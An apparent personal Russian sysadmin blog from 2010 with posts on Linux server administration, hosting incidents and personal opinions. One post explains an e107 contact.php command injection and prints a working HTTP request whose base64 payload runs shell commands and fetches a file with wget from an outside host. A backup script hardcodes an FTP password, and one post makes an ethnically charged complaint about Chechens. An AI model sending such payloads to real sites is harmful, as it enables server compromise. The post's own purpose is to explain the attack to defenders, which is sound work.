четверг, 30 декабря 2010 г.
понедельник, 20 декабря 2010 г.
Не прошло и месяца как Qiwi родил.
Наконец-то Киви положили на Йоту мою денежку, скормленную их автомату ровно 3 недели назад.
История такова:
Положил 27 ноября деньги через автомат.
Спустя 2 дня деньги не поступили. Звоню - у меня спрашивают все поля квитанции, говорят, подождите 2 дня.
Звоню 2 декабря, мне говорят, мол, запрос ещё обрабатывается, это занимает до 3х дней.
Звоню 4 декабря - мне говорят, что надо звонить туда-то в отдел претензий. Звоню в претензии, там меня посылают обратно за номером заявки - оказалось, что в справочной девушка меня просто слила. Перезваниваю, там оформляют заявку, с этой заявкой опять звоню в претензии. Там мне говорят, что автомат отвалился от сети, но продолжал принимать платежи. Владельцу автомата написали почти неделю назад и он ещё не ответил, но дескать на след.неделе будут вызванивать.
Нормально так - ждут неделю неизвестно чего, вместо того чтобы позвонить, стеснительные, блин.
Звоню 11 декабря, спрашиваю, как там мой платёж. А мне говорят, да никак, владелец автомата по логам платежи ручками проводит.
Дали номер владельца. Сказали, звоните сюда, тогда платёж пройдёт быстрее. В течение след. недели пытался позвонить неск. раз - то занято, то не берут.
В итоге дозвонился 20 числа, прочитал все данные с бумажки (кот. переписал с квитанции, кот. почти выцвела). Говорят - пришлите скан. Я отвечаю, что на квитке пара строк видна, остальное пропало. Нет, присылайте, только тогда проведём оплату. Отправил, провели.
Блияч, 3 недели мурыжила клиентская, плюс получается, что автомат, будучи сломанным, продолжает хавать деньги и говорить, что всё ок.
В общем, нах эту Киви, последний раз их услугами пользовался.
История такова:
Положил 27 ноября деньги через автомат.
Спустя 2 дня деньги не поступили. Звоню - у меня спрашивают все поля квитанции, говорят, подождите 2 дня.
Звоню 2 декабря, мне говорят, мол, запрос ещё обрабатывается, это занимает до 3х дней.
Звоню 4 декабря - мне говорят, что надо звонить туда-то в отдел претензий. Звоню в претензии, там меня посылают обратно за номером заявки - оказалось, что в справочной девушка меня просто слила. Перезваниваю, там оформляют заявку, с этой заявкой опять звоню в претензии. Там мне говорят, что автомат отвалился от сети, но продолжал принимать платежи. Владельцу автомата написали почти неделю назад и он ещё не ответил, но дескать на след.неделе будут вызванивать.
Нормально так - ждут неделю неизвестно чего, вместо того чтобы позвонить, стеснительные, блин.
Звоню 11 декабря, спрашиваю, как там мой платёж. А мне говорят, да никак, владелец автомата по логам платежи ручками проводит.
Дали номер владельца. Сказали, звоните сюда, тогда платёж пройдёт быстрее. В течение след. недели пытался позвонить неск. раз - то занято, то не берут.
В итоге дозвонился 20 числа, прочитал все данные с бумажки (кот. переписал с квитанции, кот. почти выцвела). Говорят - пришлите скан. Я отвечаю, что на квитке пара строк видна, остальное пропало. Нет, присылайте, только тогда проведём оплату. Отправил, провели.
Блияч, 3 недели мурыжила клиентская, плюс получается, что автомат, будучи сломанным, продолжает хавать деньги и говорить, что всё ок.
В общем, нах эту Киви, последний раз их услугами пользовался.
воскресенье, 5 декабря 2010 г.
Суммирование вывода
Вывод передаём авк и суммируем нужный столбец:
awk '{sum += $1} END {print sum}'
четверг, 2 декабря 2010 г.
Тормозная клава
После апдейта стала тормозить клава, точнее autorepeat.
Исправляется:
В ксорге за это Autorepeat отвечает.
Исправляется:
# xset -r rate 200 30первое - delay, второе -rate.
В ксорге за это Autorepeat отвечает.
вторник, 30 ноября 2010 г.
понедельник, 29 ноября 2010 г.
/boot/grub/stage1 not read correctly
Столкнулся с проблемой:
В Генте создаю ext3, синкаю на неё раздел с центоса, пытаюсь воткнуть граб и откуриваю болт:
The file /boot/grub/stage1 not read correctly.
Логи показали:
dump (hd0,0)/boot/grub/stage1 /tmp/grub-install.img.CVsd Error 2: Bad file or directory type
Как выяснилось, это из-за размера айнодов. В центосе ext3 создаётся с размером айнода 128, а по дефолту Гента мне сделала 256.
Мораль - если ФС создаём руками - то говорим -I 128
Дико выручила ссылка:
http://phpsuxx.blogspot.com/2010/11/dump-hd01grubstage1-tmpgrub.html
Там расписано, отчего так.
PS
Решение проблемы еле нашёл, весь инет засран постами криворуких убунтистов, которые маны не читают, а постят лоховские вопросы. И которые гуголь весьма хорошо индексирует.
В Генте создаю ext3, синкаю на неё раздел с центоса, пытаюсь воткнуть граб и откуриваю болт:
The file /boot/grub/stage1 not read correctly.
Логи показали:
dump (hd0,0)/boot/grub/stage1 /tmp/grub-install.img.CVsd Error 2: Bad file or directory type
Как выяснилось, это из-за размера айнодов. В центосе ext3 создаётся с размером айнода 128, а по дефолту Гента мне сделала 256.
Мораль - если ФС создаём руками - то говорим -I 128
Дико выручила ссылка:
http://phpsuxx.blogspot.com/2010/11/dump-hd01grubstage1-tmpgrub.html
Там расписано, отчего так.
PS
Решение проблемы еле нашёл, весь инет засран постами криворуких убунтистов, которые маны не читают, а постят лоховские вопросы. И которые гуголь весьма хорошо индексирует.
понедельник, 22 ноября 2010 г.
Zend repo
cat /etc/yum.repos.d/zend.repo:
[Zend]
name=Zend Server
baseurl=http://repos.zend.com/zend-server/rpm/$basearch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key
[Zend_noarch]
name=Zend Server - noarch
baseurl=http://repos.zend.com/zend-server/rpm/noarch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key
[Zend]
name=Zend Server
baseurl=http://repos.zend.com/zend-server/rpm/$basearch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key
[Zend_noarch]
name=Zend Server - noarch
baseurl=http://repos.zend.com/zend-server/rpm/noarch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key
пятница, 19 ноября 2010 г.
Пр большие стройки в родном Отечестве
Тут на просторах интернетов набрёл на весьма интересную историю про строительство нефтепровода: http://navalny.livejournal.com/526563.html
Я привык ничему в нашей стране не удивляться, но тут просто хуею.
Я привык ничему в нашей стране не удивляться, но тут просто хуею.
суббота, 13 ноября 2010 г.
Запрещённые .рф домены.
Руцентр заявил примерно следующее:
в качестве доменного имени не допускается регистрация слов противоречащих общественным интересам, принципам гуманности и морали (в частности, слова непристойного содержания, призывы антигуманного характера, оскорбляющие человеческое достоинство либо религиозные чувства и т.д.)
Ссылко на блеклист
Некоторые домены вполне себе нормальные имена. Интересно, кто список составлял ))
в качестве доменного имени не допускается регистрация слов противоречащих общественным интересам, принципам гуманности и морали (в частности, слова непристойного содержания, призывы антигуманного характера, оскорбляющие человеческое достоинство либо религиозные чувства и т.д.)
Ссылко на блеклист
Некоторые домены вполне себе нормальные имена. Интересно, кто список составлял ))
четверг, 11 ноября 2010 г.
SSH host key generate.
Ну вот как-то так. По крайней мере, так в федоре делают.
ssh-keygen -q -t dsa -f /etc/ssh/ssh_host_dsa_key -C '' -N ''
ssh-keygen -q -t rsa -f /etc/ssh/ssh_host_rsa_key -C '' -N ''
ssh-keygen -q -t rsa1 -f /etc/ssh/ssh_host_key -C '' -N ''
chmod 600 /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_key
chmod 644 /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key.pub
среда, 10 ноября 2010 г.
LA контейнеров
Теперь по-другому делаю:
for a in `vzlist | awk '{print $1}' | grep "^[0-9]"`;do echo "$a: `vzctl exec $a cat /proc/loadavg`";done
воскресенье, 7 ноября 2010 г.
Новая Федора
И вот проспав все праздники/выходные я прощёлкал выход Fedora 14.
Ну что, пора готовиться к апдейту )
Ну что, пора готовиться к апдейту )
пятница, 22 октября 2010 г.
rfc 1912
Блин, сёни обыскался, в каком rfc упоминается, что dns сервера должны быть в разных подсетях. Нашёл ) Правда, формулировка там немного другая:
http://www.faqs.org/rfcs/rfc1912.html
http://www.faqs.org/rfcs/rfc1912.html
суббота, 16 октября 2010 г.
Big bang theory
Сабж становится всё унылее, а шутки тырят с xkcd.com
Уж лучше бы его просто прикрыли
Уж лучше бы его просто прикрыли
среда, 13 октября 2010 г.
27 км
Несколько товарищей запустили на воздушном шарике камеру на высоту 27 км. Вот что у них вышло:
Homemade Spacecraft from Luke Geissbuhler on Vimeo.
Homemade Spacecraft from Luke Geissbuhler on Vimeo.
вторник, 12 октября 2010 г.
понедельник, 11 октября 2010 г.
Голактеко опасносте!!! Терабитные ддосэ!!!
За последний месяц все как с ума посходили с ддосами - кричат, как их долбят гигабитными, 10 гигабитными, 100 гигабитными и 300 гигабитными ддосами. При этом одни (хабра) показывают мгртшный скрин, на котором трафика 20 мегабит, другие орут, как их пытаются убивать чуть ли не полутерабитным ддосом, мол "интернет такой атаки ещё не видел". При этом у всех каналы от 100 мегабит до гигабита, а узнают они о таких масштабах дескать от провов )))
При этом обосновать возможность 300 гигабитного ддоса пиплы не в состоянии, размахивают какой-то выдранной из контекста картинкой.
В общем, народ пеариццо как может - типа, вот мы какие чОткие, что нас всеми интернетами мочат, а мы крепчаем ))
При этом обосновать возможность 300 гигабитного ддоса пиплы не в состоянии, размахивают какой-то выдранной из контекста картинкой.
В общем, народ пеариццо как может - типа, вот мы какие чОткие, что нас всеми интернетами мочат, а мы крепчаем ))
Ололо! перлы возрождаются в новом облике
Свежий перл от Дениса:
Базы данных MSSQL может только Артур восстанавливать. Мы не имеем доступ к
контрольной панели MSSQL. Видимо, там делается всё через ssh :)
понедельник, 4 октября 2010 г.
Hard'2b'Core 2010
Я был там!!! Рассказывать про сабж бессмысленно, ибо там надо было побывать и прочувствовать вживую спидкор от ого родоначальников. На g-sector'е уже потихоньку выкладываются фотки
пятница, 1 октября 2010 г.
вторник, 28 сентября 2010 г.
Мораль
Если что-то работает - не трогай это. Путь работает. Не надо пытаться улучшить, если нет резерва. В этот раз повезло и не залип на всё ночь, но адреналина хватило )
понедельник, 27 сентября 2010 г.
di.fm
Замечательная штука, сабж )
Я когда-то в амароке их эмбиент канал врубал. А тут вот заглянул, нашёл габбер канал, включил - и правда габбер. А вот его-то кстати и захотелось на днях. Между прочим, на последнем A Nigthmare Outdoor парочку неплохих вещей нарыл.
Я когда-то в амароке их эмбиент канал врубал. А тут вот заглянул, нашёл габбер канал, включил - и правда габбер. А вот его-то кстати и захотелось на днях. Между прочим, на последнем A Nigthmare Outdoor парочку неплохих вещей нарыл.
суббота, 25 сентября 2010 г.
четверг, 9 сентября 2010 г.
Ротация бекапов
Доделал скрипт для хранения и ротации бекапов. Из костыля к fsbackup оформилось что-то полноценное.
Можно отправлять несколько файлов, пример:
Можно отправлять несколько файлов, пример:
/root/scripts/store.pl /root/scripts/mybase.sql.gz backup.tar.gzВ сам скрипт забиваются реквизиты ftp сервера и глубина ротации.
#!/usr/bin/perl
use Net::FTP;
use File::Basename;
my $remote_host = "localhost";
my $remote_login = "backup";
my $remote_password = "yeyzfz200";
my $n = 12;
my $path;
my $file;
$ftp = Net::FTP->new($remote_host) || die "Can't connect to ftp server.\n";
$ftp->login($remote_login, $remote_password) || die "Can't login to ftp server.\n";
$ftp->binary();
while ($path = shift @ARGV) {
my $file = basename($path);
# old backup deleting
print "Remove old backup\n";
foreach $cur_dir ($ftp->ls()) {
if ($cur_dir eq $file.".".($n - 1)) {
$ftp->delete($cur_dir);
}
}
# backup rotate
print "Backup rotating:\n";
for ($i = $n - 2; $i > 0; --$i) {
$j = $i + 1;
foreach $cur_dir ($ftp->ls()) {
$name = $new_name = $cur_dir;
if ($name eq $file.".".$i) {
$new_name =~ s/\.$i$/\.$j/;
print "$name -> $new_name\n";
$ftp->rename($name, $new_name);
}
}
}
foreach $cur_dir ($ftp->ls()) {
$name = $new_name = $cur_dir;
if ($name eq $file) {
$new_name = $name.".1";
print "$name -> $new_name\n";
$ftp->rename($name, $new_name) or die "Can't rename $name\n";
}
}
$ftp->put("$path", "$file") || print "Can't PUT $path to remote FTP";
}
среда, 8 сентября 2010 г.
mysql: Host is blocked because of many connection errors;
Вот такое жизнерадостное сообщение порой можно получить от MySQL:
Пример из практики. Человек в скрипте указал пользователя, не имеющего доступа к базе, к которой собственно и был коннект. Несколько раз получил сообщение, что не выбрана база, а потом - Host blabla.de is blocked и т.д.
Тут, между прочим, широкие возможности открываются ;)
Собственно, дабы сбросить блокировку надо выполнить:
Host 'example.com' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'Связано вот с чем. У мускуля имеется своего рода защита от брутфорса - параметр max-connection-error. Как только число ошибок станет больше допустимого - хост блочится.
Пример из практики. Человек в скрипте указал пользователя, не имеющего доступа к базе, к которой собственно и был коннект. Несколько раз получил сообщение, что не выбрана база, а потом - Host blabla.de is blocked и т.д.
Тут, между прочим, широкие возможности открываются ;)
Собственно, дабы сбросить блокировку надо выполнить:
mysqladmin flush-hosts
четверг, 26 августа 2010 г.
Замена подстроки в файле седом во фряхе и лине
$ sed -i '' -e 's/string1/string2/' file
если после -i '' не поставить апострофы - то получим копию файла с -e на конце.
А в лине такого изврата с копиями нет )) там просто
$ sed -i 's/string1/string2/' file
если после -i '' не поставить апострофы - то получим копию файла с -e на конце.
А в лине такого изврата с копиями нет )) там просто
$ sed -i 's/string1/string2/' file
PHP from source
Последнее время часто приходится сталкиваться с nginx + php-fpm.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )
Поехали. Качаем, патчим:
Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём php.ini в /etc и меняем в нём путь к модулям на наш.
Cобираем модули:
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )
Поехали. Качаем, патчим:
wget http://ru2.php.net/get/php-5.2.12.tar.gz/from/this/mirrorСобираем ядро php:
wget http://php-fpm.org/downloads/php-5.2.12-fpm-0.5.13.diff.gz
tar xzf php-5.2.12.tar.gz
gzip -cd php-5.2.12-fpm-0.5.13.diff.gz | patch -d php-5.2.12 -p1
./configure \dom и xml можно отсюда выкинуть, просто мне так нужно было.
--prefix=/usr/local/php \
--exec-prefix=/usr/local/php \
--sysconfdir=/etc \
--enable-fastcgi \
--enable-fpm \
--with-fpm-conf=/etc/php-fpm.conf \
--with-fpm-log=/var/log/php-fpm.log \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-libdir=/lib64 \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--enable-dom \
--enable-xml
make install
Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём php.ini в /etc и меняем в нём путь к модулям на наш.
Cобираем модули:
По аналогии собираем другие компоненты.
cd /root/build/php-5.2.12/ext/mysql
/usr/local/php/bin/phpize
./configure --prefix=/usr/local/php \
--exec-prefix=/usr/local/php \
--sysconfdir=/etc \
--enable-fastcgi \
--enable-fpm \
--with-fpm-conf=/etc/php-fpm.conf \
--with-fpm-log=/var/log/php-fpm.log \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-libdir=/lib64 \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--enable-dom \
--enable-xml \
--with-mysql=shared \
--with-php-config=/root/build/php-5.2.12/scripts/php-config
make install
echo "extension=mysql.so" > /etc/php.d/mysql.ini
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.
nginx htpasswd
В нужный локейшн добавляем:
login:hash
Генерим: htpasswd -n login
auth_basic "auth required";В /etc/nginx/htpasswd вставляем:
auth_basic_user_file /etc/nginx/htpasswd;
login:hash
Генерим: htpasswd -n login
среда, 25 августа 2010 г.
пыхпых моя админ!
Никогда не любил phpmyadmin. Сегодня в очередной раз убедился, какой это хлам. Консольный mysql - это наше всё. Вебмин тоже годится. И Mysql Workbench. А phpmyadmin - для нищебродов, которые всякими денверами пользуются.
Воть.
Воть.
среда, 18 августа 2010 г.
Отбор GET запросов
tcpdump -nnp -vv -s 1500 -c 10000 -X dst host xxx.xxx.xxx.xxx and "tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420"
понедельник, 2 августа 2010 г.
Как ломают e107 < 0.7.21
Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
Тестировал на CentOS + nginx + php-fpm
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
POST /e107/contact.php HTTP/1.1Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259
send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode(" aWQ=")).base64_decode(" Qnlyb2VOZXQ=")).shell_exec( base64_decode(" Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb2 1haW4ub3JnL2hlbGxvLnR4dDsK"))% 3Bdie%28%29%3B%5B%2Fphp%5D
Тестировал на CentOS + nginx + php-fpm
четверг, 29 июля 2010 г.
Про e107
E107 продолжают ломать, подсаживают через неё ботов. Для выявления поломанных помогает только CGI. Вчера прочесал несколько серверов в поисках аккаунтов, использующих e107 версии ниже 0.7.22 и перевёл их на CGI. Сегодня темпы проверяю - воооот, сразу видно, через кого подложили:
[root@xxxxx ~]$ ls -lh /tmp/ | egrep '\.(txt|pl|php|xp|c|1|2)$'
-rw-r--r-- 1 xxx571 wheel 27K Jul 29 11:44 perl.txt
четверг, 22 июля 2010 г.
Новая стойка
Съели ещё одну стойку ) Скоро восьмую начнём.
За фотки схватил люлей от охраны, теперь придётся разрешения спрашивать.
Седьмая стойка:
А это просто наши ВПСы и сипанели + ещё кой-чего:
И всё вместе:
За фотки схватил люлей от охраны, теперь придётся разрешения спрашивать.
Седьмая стойка:
А это просто наши ВПСы и сипанели + ещё кой-чего:
И всё вместе:
Ураган и Даталайн
Всё-таки, хоть в м100 и бывают иногда проблемы, но там не так стрёмно, как в Даталайне. Тут в их ДЦ на Боровой завалило все чиллеры металлоломом на 10 тонн, ДЦ колбасило 5 часов, пока чиллеры не починили.
Вообще, что-то им не везёт. Правда, прошлая авария была связана с человеческим фактором:
Свет вырубили, сотрудники запускают дизеля - из 3х стартует 2. Ну да ладно - третий всё равно запасной, стартанули без резерва. Но так, как резервную линию питания походу толком не проверяли - от нагрузки выбило автоматы. ДЦ лежал по разным данным от 40 до 100 минут. Учитывая, что у них там одногруппникиклассники лежат и евроафросеть... недовольство было ппц.
Даже жалко их - ДЦ этому год с копейками, ему ещё года 2 работать на то, чтобы окупиться, а тут то одно, то другое.
Вообще, что-то им не везёт. Правда, прошлая авария была связана с человеческим фактором:
Свет вырубили, сотрудники запускают дизеля - из 3х стартует 2. Ну да ладно - третий всё равно запасной, стартанули без резерва. Но так, как резервную линию питания походу толком не проверяли - от нагрузки выбило автоматы. ДЦ лежал по разным данным от 40 до 100 минут. Учитывая, что у них там одногруппники
Даже жалко их - ДЦ этому год с копейками, ему ещё года 2 работать на то, чтобы окупиться, а тут то одно, то другое.
Пилснер
Побывал наконец в Пилснере. Как и говорили - Козел там действительно зачООООтный. Очень мягкий и приятный. ))
Приятель из работников бара вытянул, что пиво для них варят не в Чехии, а в Калуге, но под очень жестким контролем.
Пиво действительно вкусное и, как ни странно, недорогое.
Неудивительно, что даже в будний день места лучше заказывать заранее.
Приятель из работников бара вытянул, что пиво для них варят не в Чехии, а в Калуге, но под очень жестким контролем.
Пиво действительно вкусное и, как ни странно, недорогое.
Неудивительно, что даже в будний день места лучше заказывать заранее.
PHP
Дожили - в век rpm пакетов приходится собирать пыхпых из сорсов, ибо понадобился именно 5.2.12. В центосовских репозиториях либо 5.1, либо в тестовом 5.2.10. В сторонних - 5.2.13.
Но зато ностальгия какая... )))
# make install && enjoy the party ))
ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.
Но зато ностальгия какая... )))
# make install && enjoy the party ))
ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.
Двойные стандарты?
Сегодня занесло на ЧП, там увидел, как ребята цветы кладут. Так и узнал, как чеченцы Юру Волкова убили.
Вот что интересно - если принимают русского, убившего гостя Столицы, то ему дают 22 года, а если эти самые выходци из чесни и прочего кавказа убивают русского - то их отпускают под подписку о невыезде, и похоже, всё идёт к тому, что отделаются условным. Как всегда.
А ведь это происходит почти каждый день.
И когда, блять, это прекратится?
Вот что интересно - если принимают русского, убившего гостя Столицы, то ему дают 22 года, а если эти самые выходци из чесни и прочего кавказа убивают русского - то их отпускают под подписку о невыезде, и похоже, всё идёт к тому, что отделаются условным. Как всегда.
А ведь это происходит почти каждый день.
И когда, блять, это прекратится?
четверг, 15 июля 2010 г.
Школота атакует IBM
У меня висит колонка с новостями от IBM Developer Works
В последнее время очень редко бывает желание ткнуть туда - если год назад на русскоязычном сайте появлялось очень много интересных и сильных статей, то сейчас русскоязычная часть сайта превратилась в помойку из унылых статеек, написанных всякой школотой. Например за последние два дня там было выложено аж 4 статьи про установку апач+мускуль+пыхпых на разные дистрибутивы. При том, что этого добра и без того хватает. Скоро, пожалуй, стоит ждать статей про "Запись cd дисков в ubuntu", "Установка пасьянса в xubuntu" и "Смена обоев в kubuntu".
Ладно, хотя бы родной developerworks остался нормальным ))
В последнее время очень редко бывает желание ткнуть туда - если год назад на русскоязычном сайте появлялось очень много интересных и сильных статей, то сейчас русскоязычная часть сайта превратилась в помойку из унылых статеек, написанных всякой школотой. Например за последние два дня там было выложено аж 4 статьи про установку апач+мускуль+пыхпых на разные дистрибутивы. При том, что этого добра и без того хватает. Скоро, пожалуй, стоит ждать статей про "Запись cd дисков в ubuntu", "Установка пасьянса в xubuntu" и "Смена обоев в kubuntu".
Ладно, хотя бы родной developerworks остался нормальным ))
среда, 14 июля 2010 г.
FreeBSD и arcconf
Обнаружил неприятный прикол у arcconf, что используется для работы с адаптековскими контроллерами - после отработки команды софтина не завершает работу и приходится делать ^C.
А это не даёт возможность использовать arcconf в скриптах для мониторинга. Тулзу качал с офсайта под верную версию фряхи.
Проблема была решена просто - оказывается, arcconf есть в портах: /usr/ports/sysutils/arcconf )))
Вот портовый работает правильно! )
А это не даёт возможность использовать arcconf в скриптах для мониторинга. Тулзу качал с офсайта под верную версию фряхи.
Проблема была решена просто - оказывается, arcconf есть в портах: /usr/ports/sysutils/arcconf )))
Вот портовый работает правильно! )
вторник, 13 июля 2010 г.
Ubuntu - торт )
Прочитал в новостях: одна из фишек ебунты 10.ДваНоль, вернее 10.10 - возможность сделать во время установки веб-камерой свою фотографию и запихать в систему. Фишка охеренная, винда и мак сосут, равно как и товарищи, юзающие не такие гламурные дистры. Ура, Марк! Даёшь к 11 релизу возможность записи и отправки на ютуб пьянки по поводу инстала, прямо во время установки бубунты!!!
А если серьёзно - то в какой же ужас превратили дебиан...
А если серьёзно - то в какой же ужас превратили дебиан...
воскресенье, 11 июля 2010 г.
Casper bot search
Недавно писал про сабжевую заразу.
Как и в рассказе уважаемого cppmm, подложили заразу через дырявую e107.
Поймали юзера, у которого была дыра, при помощи подмены wget'а на скрипт, пишущий все переменные в лог. Там и нашли, из какого хомяка эта дрянь пыталась себя скачать.
Причём юзер знал, что его ломали и не удосужился никаких мер принять.
Почитал про саму e107 - это ппц, а не cms. Пример - найдена уязвимость, разработчики выкладывают патченную версию с прикрытой дырой, но почему-то не закрыли дыру на своём офсайте. Результат - сайт вскрыли, подменили линк на дистрибутив цмски, в результате много юзеров скачали себе модифицированную e107 с бекдорами.
Мораль - не надо ставить e107, это плохая вещь.
Почитав про Casper, сложилось впечатление, что атакеут он все cms, но лучше всего ломается e107, особенно через contact.php.
Алсо, дырявость, юзаемая каспером, вроде как в версии e107 0.7.17, обновление до 0.7.22 помогает.
На всякий случай, скачал архив с каспером, может, поразбираю на досуге.
Как и в рассказе уважаемого cppmm, подложили заразу через дырявую e107.
Поймали юзера, у которого была дыра, при помощи подмены wget'а на скрипт, пишущий все переменные в лог. Там и нашли, из какого хомяка эта дрянь пыталась себя скачать.
Причём юзер знал, что его ломали и не удосужился никаких мер принять.
Почитал про саму e107 - это ппц, а не cms. Пример - найдена уязвимость, разработчики выкладывают патченную версию с прикрытой дырой, но почему-то не закрыли дыру на своём офсайте. Результат - сайт вскрыли, подменили линк на дистрибутив цмски, в результате много юзеров скачали себе модифицированную e107 с бекдорами.
Мораль - не надо ставить e107, это плохая вещь.
Почитав про Casper, сложилось впечатление, что атакеут он все cms, но лучше всего ломается e107, особенно через contact.php.
Алсо, дырявость, юзаемая каспером, вроде как в версии e107 0.7.17, обновление до 0.7.22 помогает.
На всякий случай, скачал архив с каспером, может, поразбираю на досуге.
четверг, 8 июля 2010 г.
Как так можно?!
Я, мягко говоря, в удивлении:
Люди жили с этим полгода и не парились при том, что на этом рэйде был критически важный раздел. Слов нет.
# grep md7 /var/log/messages
Jan 31 09:01:19 s19 kernel: md: created md7
Jan 31 09:01:19 s19 kernel: raid1: raid set md7 active with 1 out of 2 mirrors
Jan 31 09:01:19 s19 kernel: md: md7 already running, cannot run sda7
Jan 31 09:01:19 s19 kernel: md: md7 already running, cannot run sda7
Jan 31 09:01:19 s19 kernel: EXT3 FS on md7, internal journal
Jul 1 01:32:25 s19 kernel: md: created md7
Jul 1 01:32:27 s19 kernel: md: md7: raid array is not clean -- starting background reconstruction
Jul 1 01:32:28 s19 kernel: raid1: raid set md7 active with 1 out of 2 mirrors
Jul 1 01:32:49 s19 kernel: md: md7 already running, cannot run sda7
Jul 1 01:33:02 s19 kernel: md: md7 already running, cannot run sda7
Jul 1 01:33:05 s19 kernel: EXT3 FS on md7, internal journal
# mdadm --manage /dev/md7 --add /dev/sda7
mdadm: re-added /dev/sda7
Люди жили с этим полгода и не парились при том, что на этом рэйде был критически важный раздел. Слов нет.
Маркетинг )
Заметил забавную штуку - после публикации фотоотчёта о перезде оборудования Лидерхоста, в гугле сложился расклад:
To м@#$терхост: курите болт ))))
To м@#$терхост: курите болт ))))
вторник, 6 июля 2010 г.
Сервак
Тут попросили связку поднять: Apache + PHP + Zend Server + eaccelerator + Tomcat + Orion + Sun's Java + Mysql + Postgre, на центосе.
Как ни странно, eaccelerator отлично лёг ни в какую не ложится на зенд.
Апач кидает корку из-за конфликта аксселератора и оптимайзера.
Если руки дойдут, распишу, как всякие няшки ставил.
В общем, eaccelerator работает при отключённом оптимайзере, то при акселе не работает зенд сервер. Так что приходится выбирать
Апач кидает корку из-за конфликта аксселератора и оптимайзера.
Если руки дойдут, распишу, как всякие няшки ставил.
В общем, eaccelerator работает при отключённом оптимайзере, то при акселе не работает зенд сервер. Так что приходится выбирать
воскресенье, 4 июля 2010 г.
Unix will never thank you
Он вообще немногословен.
У нас на многих серверах при переключении на рута стоит предупреждение, что огромная власть - это огромная ответственность.
Но, блин, накосячил я тут, несмотря на то, что всё это прекрасно понимаю..
При чистке шаблона сусёвого дгя openvz умудрился выполнить обнуление логов и прибивание хостовых ключей на ноде.
В общем, будет это уроком, напоминанием своего рода.
У нас на многих серверах при переключении на рута стоит предупреждение, что огромная власть - это огромная ответственность.
Но, блин, накосячил я тут, несмотря на то, что всё это прекрасно понимаю..
При чистке шаблона сусёвого дгя openvz умудрился выполнить обнуление логов и прибивание хостовых ключей на ноде.
В общем, будет это уроком, напоминанием своего рода.
суббота, 3 июля 2010 г.
Переезд нового оборудования
После покупки ****хоста, решили перевезти оборудование из вебальты к нам в м100. Мишин фоторепортаж http://gallery.me.com/mnasonov
Casper: scan.txt
Столкнулся на работе с заразой. Походу, через дыру в юзерских скриптах работает: качается файлег, исполняется, грузит систему и мешает апачу, в т.ч. биндить 443 порт.
Статья: http://www.opennet.ru/openforum/vsluhforumID10/4631.html
Убил процессы, файл в /tmp и закрыл фаером порты. Посмотрим, что получится..
Статья: http://www.opennet.ru/openforum/vsluhforumID10/4631.html
Убил процессы, файл в /tmp и закрыл фаером порты. Посмотрим, что получится..
вторник, 29 июня 2010 г.
Размер очереди Postfix
Пока родил такой способ:
А вот и нативное:
postqueue -p | egrep '^[A-Z0-9]{12}' | wc -lМожет, потом найду что-нить более нативное.
А вот и нативное:
mailq-stat
пятница, 25 июня 2010 г.
S00vzreboot trouble
Делая темплей opensuse 11.1 для openvz столкнулся с ошибками при chkconfig xxx on|off:
insserv ожидает видеть ссылку, а там файл, поэтому перекладываем скрипт и делам симлинк:
insserv: warning: script 'S02vzquota' missing LSB tags and overridesРешение 2 строчки:
insserv: warning: script is corrupt or invalid: /etc/init.d/rc6.d/S00vzreboot
insserv: warning: script 'vzquota' missing LSB tags and overrides
insserv ожидает видеть ссылку, а там файл, поэтому перекладываем скрипт и делам симлинк:
# mv /etc/init.d/rc6.d/S00vzreboot /etc/init.d/vzrebootОстальный варнинги устраняем, запихнув в скрипты LSB заголовок, например, от крона и подправив его. Заголовок имеет вид:
# ln -s /etc/init.d/vzreboot /etc/init.d/rc6.d/S00vzreboot
### BEGIN INIT INFOУбираем лишнее - всё готово )
# Provides: cron
# Required-Start: $remote_fs $syslog $time
# Should-Start: $network smtp
# Required-Stop: $remote_fs $syslog
# Should-Stop: $network smtp
# Default-Start: 2 3 5
# Default-Stop: 0 1 6
# Short-Description: Cron job service
# Description: Cron job service
### END INIT INFO
четверг, 24 июня 2010 г.
ubuntu -> windows
Я плачу:
